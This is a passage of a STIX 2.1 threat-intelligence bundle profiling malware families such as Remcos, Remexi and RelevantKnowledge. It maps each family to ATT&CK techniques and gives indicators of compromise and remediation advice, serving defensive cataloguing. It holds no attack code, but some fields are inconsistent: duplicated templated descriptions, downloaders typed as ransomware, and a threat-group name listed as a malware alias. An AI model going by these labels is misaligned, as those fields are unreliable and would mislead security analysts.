      "description": "RelevantKnowledge (widely cataloged across security solutions as Spyware:Win32/RelevantKnowledge, Adware:Win32/RelevantKnowledge, PUA.Win32.RelevantKnowledge, and ADW_RELEKNOW) is an infamous market-research spyware program developed by TMRG, Inc. (The Market Research Group, a subsidiary of Comscore). In circulation since 2007, RelevantKnowledge is bundled within free consumer software downloads, including screensavers, media converters, PDF generators, and file compression utilities. While presented in End User License Agreements (EULAs) as an opt-in demographic research program, its installation mechanisms frequently mislead users through multi-tiered bundling dialogs. Once installed, RelevantKnowledge registers a persistent background Windows service (rlvknlg.exe), configures a local proxy or network filter driver (LSP), and monitors all outbound HTTP/HTTPS web traffic. The application intercepts user search queries, web browsing history, e-commerce purchases, and demographic data, transmitting telemetry back to remote market analytics servers. Its intrusive network hooks often degrade browsing performance, introduce certificate security risks, and expose sensitive enterprise web workflows. (Observed samples in benchmark: 209)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware:Win32/RelevantKnowledge",
        "Adware:Win32/RelevantKnowledge",
        "PUA.Win32.RelevantKnowledge",
        "ADW_RELEKNOW",
        "TMRG RelevantKnowledge"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Relevantknowledge",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/relevantknowledge"
        }
      ],
      "labels": [
        "spyware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20173f18-de2d-532b-977f-d6205291bb7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a762670-c25d-5cf0-b804-f0c095eb4515",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Relevantknowledge exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbd10acf-8ef9-57b2-8675-36f70f84f4c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a762670-c25d-5cf0-b804-f0c095eb4515",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Relevantknowledge exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cd6821c-c448-59b9-8a15-5a40ab2db9ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a762670-c25d-5cf0-b804-f0c095eb4515",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Relevantknowledge exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--565e06e4-2bd2-537e-9cfa-724debede8b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a762670-c25d-5cf0-b804-f0c095eb4515",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Relevantknowledge exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b04194c8-e6a3-5143-83c3-45feded49d0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4a762670-c25d-5cf0-b804-f0c095eb4515",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Relevantknowledge exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--021a98f3-7478-5f09-9391-90e6b967982b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remas",
      "description": "Trojan:Win32/Remas is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Remas</b><br>To an end-user, a Remas infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Remas is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Remas is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Remas frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Remas reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remas",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remas"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--837cc4ad-a2be-502a-b261-824f91829f82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--021a98f3-7478-5f09-9391-90e6b967982b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remas exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65e24362-8243-556c-b809-dbfe03a6052d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--021a98f3-7478-5f09-9391-90e6b967982b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remas exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61153128-d459-5212-9e9e-30bbd19ca982",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--021a98f3-7478-5f09-9391-90e6b967982b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remas exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7d20511-f552-5dc0-85d4-551fe68394b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--021a98f3-7478-5f09-9391-90e6b967982b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remas exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64061ab9-b436-55d5-9690-3ba4ee228a76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--021a98f3-7478-5f09-9391-90e6b967982b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remas exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remcos",
      "description": "Remcos (an acronym for 'Remote Control & Surveillance') is a feature-rich, commercial Remote Access Trojan first released in 2016 by Italian software developer Francesco Balestrazzi through his Germany-registered commercial entity 'BreakingSecurity'. Although marketed openly as a dual-use administrative utility, Remcos was rapidly adopted by cybercrime syndicates and advanced persistent threat (APT) actors as a primary tactical espionage and intrusion framework.\n\nRemcos provides comprehensive remote surveillance and administrative domination over compromised endpoints: it captures keystrokes, records microphone audio and webcam feeds, steals credentials from web browsers and email clients, executes reverse proxies, and deploys secondary malware. Remcos has been the subject of numerous emergency cybersecurity advisories issued by the US Cybersecurity and Infrastructure Security Agency (CISA) and the FBI (notably Alert AA20-049A and AA22-110A), documenting its widespread deployment by nation-state actors (including UAC-0056 / SaintBear) and financial cybercrime syndicates in weaponized phishing campaigns delivering Microsoft Office documents exploiting CVE-2017-0199 and CVE-2017-11882. (Observed samples in benchmark: 198)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Remcos",
        "Remcos RAT",
        "RemcosRAT",
        "Backdoor.Win32.Remcos",
        "RAT.Remcos"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remcos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remcos"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--494e3746-048f-5836-bf85-2c4eac1f3e78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remcos exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cc87f2c-fec6-5abf-b00c-cbc41077b087",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remcos exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef85b613-6a98-55e3-9266-3c007f7667e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remcos exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00de87e3-707d-59f8-8c78-19fb8d1c59c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remcos exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11641883-07bb-579f-b01b-e2fcc0495993",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remcos exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d42f44da-6694-5bd0-990c-bafb14e0f825",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f152e8-6a25-5312-854e-ef55a776a630",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remcos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--36caaa49-3f90-5195-9ff0-2a2c4ff7de71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remexi",
      "description": "<h3>Executive Summary</h3>\nRemexi is a sophisticated Backdoor Trojan historically attributed to the Iranian-linked Advanced Persistent Threat (APT) group known as Chafer (APT39). This group primarily targets telecommunications, travel, and IT sectors in the Middle East, with a strong focus on tracking individuals and stealing massive volumes of personal data (PII) for state-sponsored espionage.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe Chafer group typically gains initial access via SQL injection attacks on vulnerable public-facing web servers or through highly targeted spear-phishing campaigns. Once inside the perimeter, they deploy Remexi to establish a covert, persistent foothold.\n\nRemexi is designed for long-term espionage and data theft:\n<ul>\n<li><strong>Covert C2 Communication:</strong> Remexi often utilizes legitimate, compromised web servers as proxies for its Command and Control communications. It may also encode its traffic within HTTP POST requests to evade network intrusion detection systems (NIDS).</li>\n<li><strong>Credential Theft and Lateral Movement:</strong> The backdoor is used to deploy secondary tools like Mimikatz or customized keyloggers to harvest credentials from the compromised host, enabling lateral movement deeper into the network.</li>\n<li><strong>Data Exfiltration:</strong> Remexi provides the attacker with a full remote shell, allowing them to quietly stage, compress, and exfiltrate large databases or archives of sensitive documents back to the attacker-controlled infrastructure.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of Remexi is a critical, \"break-glass\" security incident indicating a successful breach by a highly motivated, state-sponsored adversary. The primary risk is the silent, ongoing theft of highly sensitive corporate databases, customer PII, or intellectual property.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Forensic Triage and Containment:</strong> Do not immediately wipe the machine. Isolate the endpoint and any compromised web servers. Incident Response teams must capture volatile memory (RAM) and review IIS/Apache access logs to trace the attacker's lateral movement and identify the exfiltrated data.</li>\n<li><strong>Enterprise-Wide Threat Hunt:</strong> The presence of Remexi guarantees the attacker has obtained legitimate administrative credentials. A comprehensive enterprise-wide threat hunt must be initiated to identify all compromised service accounts and secondary backdoors (such as deployed web shells).</li>\n<li><strong>Complete Architecture Review:</strong> Remediation requires a full rebuild of the compromised endpoints, a complete reset of the Active Directory environment, and the implementation of strict network segmentation and Web Application Firewalls (WAF) to prevent the initial SQL injection vectors.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Remexi",
        "Trojan.Remexi",
        "APT.Chafer",
        "APT39"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remexi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remexi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0955c79-c37e-5ef3-9577-09db21f8b8bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36caaa49-3f90-5195-9ff0-2a2c4ff7de71",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remexi exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c871548d-0152-5e88-a2bd-2162382f7364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36caaa49-3f90-5195-9ff0-2a2c4ff7de71",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remexi exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d4d080b-87bc-54cf-b241-a1bc9a5237b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36caaa49-3f90-5195-9ff0-2a2c4ff7de71",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remexi exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abf0f647-6543-56b2-b137-78404252e721",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36caaa49-3f90-5195-9ff0-2a2c4ff7de71",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remexi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1aca221-81de-5943-9a42-ae2b5805cd91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remoh",
      "description": "Trojan:Win32/Remoh is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Remoh</b><br>To an end-user, a Remoh infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Remoh is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Remoh is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Remoh frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Remoh reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remoh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remoh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--819fa29c-d222-5b34-91e5-04ee9d76e502",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1aca221-81de-5943-9a42-ae2b5805cd91",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9b0e136-d5ee-5d2f-a2c9-0bd141a0bfff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1aca221-81de-5943-9a42-ae2b5805cd91",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoh exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36c51181-a7c7-57a6-be37-1461fb759315",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1aca221-81de-5943-9a42-ae2b5805cd91",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90b6161d-6392-5fe9-a424-d0707c6240f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1aca221-81de-5943-9a42-ae2b5805cd91",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2d83545-5c09-5184-9655-de09e40f7b4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1aca221-81de-5943-9a42-ae2b5805cd91",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ef4cb25-c9c7-5c16-9648-b14b4d75b1e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remote",
      "description": "Backdoor:Win32/Remote (and similar variants like RemoteAdmin or RemoteAccess) is a broad, generic detection category used by antivirus engines to flag Remote Access Trojans (RATs) or the unauthorized installation of legitimate remote administration tools (like AnyDesk, TeamViewer, or VNC) (`T1219`). These tools provide an attacker with full, interactive, graphical control over a victim's desktop.<br><br><b>Understanding Remote (RATs and RMM Abuse)</b><br>To an end-user, a 'Remote' infection might manifest as the mouse cursor moving on its own, command prompt windows flashing briefly on the screen, or the webcam activating. For a security team, a 'Remote' detection is a critical, high-priority incident indicating that an attacker has established a persistent, interactive beachhead on the network and is likely actively exploring the environment (`T1059`).<br><br><b>Execution and Interactive Control Mechanics</b><br>Attackers deploy RATs (like AsyncRAT, njRAT, or Remcos) via phishing, drive-by downloads, or by exploiting vulnerable public-facing services. Alternatively, they may deploy legitimate Remote Monitoring and Management (RMM) tools to blend in with normal administrative traffic (`T1219`). Once installed, the 'Remote' tool establishes a persistent outbound connection to the attacker's C2 server (`T1105`). The attacker can then view the screen, log keystrokes (`T1056.001`), access the file system, and pivot to other machines on the network.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of confidentiality and integrity on the infected host. Host-based IoCs include the presence of known RAT binaries or unexpected RMM tools (e.g., `screenconnect.exe`, `anydesk.exe`) running from user profile directories. Network IoCs are characterized by long-lived, persistent outbound TCP/UDP connections to unknown IP addresses, often over non-standard ports or disguised as HTTPS traffic. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remote",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remote"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99cc3d0d-8c0f-5426-81db-7b945eaedd0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef4cb25-c9c7-5c16-9648-b14b4d75b1e5",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remote exhibits technique T1219 (Remote Access Software (The core functionality of providing interactive desktop control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6632a852-8956-5667-b759-dd7609d1ea46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef4cb25-c9c7-5c16-9648-b14b4d75b1e5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remote exhibits technique T1059 (Command and Scripting Interpreter (Using the remote shell to execute commands interactively))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00cde9db-7863-5d68-997e-76ff116b6901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef4cb25-c9c7-5c16-9648-b14b4d75b1e5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remote exhibits technique T1056.001 (Input Capture: Keylogging (Often built into RATs to steal credentials))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f325ad7c-d578-5b5b-9ff1-9fd486da9a67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remoteadmin",
      "description": "RemoteAdmin (cataloged across security vendors under detections including RiskWare:Win32/RemoteAdmin, HackTool:Win32/RemoteAdmin, and Win32/RemoteAdmin) is a generic classification designating commercial or open-source remote administration tools (such as Radmin, UltraVNC, RMS, or TeamViewer components) deployed or abused in unauthorized contexts. While remote management software is legitimately used by network administrators for remote technical support and server management, threat actors frequently weaponize modified or silently packaged builds to maintain persistent, covert remote access to compromised endpoints. When deployed as a dual-use hacktool or backdoor, RemoteAdmin components execute hidden background services, configure local Windows Firewall exceptions to permit inbound remote desktop and shell connections, and conceal user interface windows to prevent the local user from observing active remote sessions. This allows unauthorized attackers to transfer files, execute terminal commands, view user screens, and exfiltrate sensitive data while bypassing standard malware heuristics due to the valid digital signatures often present on legitimate binaries. (Observed samples in benchmark: 95)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RiskWare:Win32/RemoteAdmin",
        "HackTool:Win32/RemoteAdmin",
        "Win32/RemoteAdmin",
        "HackTool:Win32/RemoteAdmin!MSR"
      ],
      "external_references": [
        {
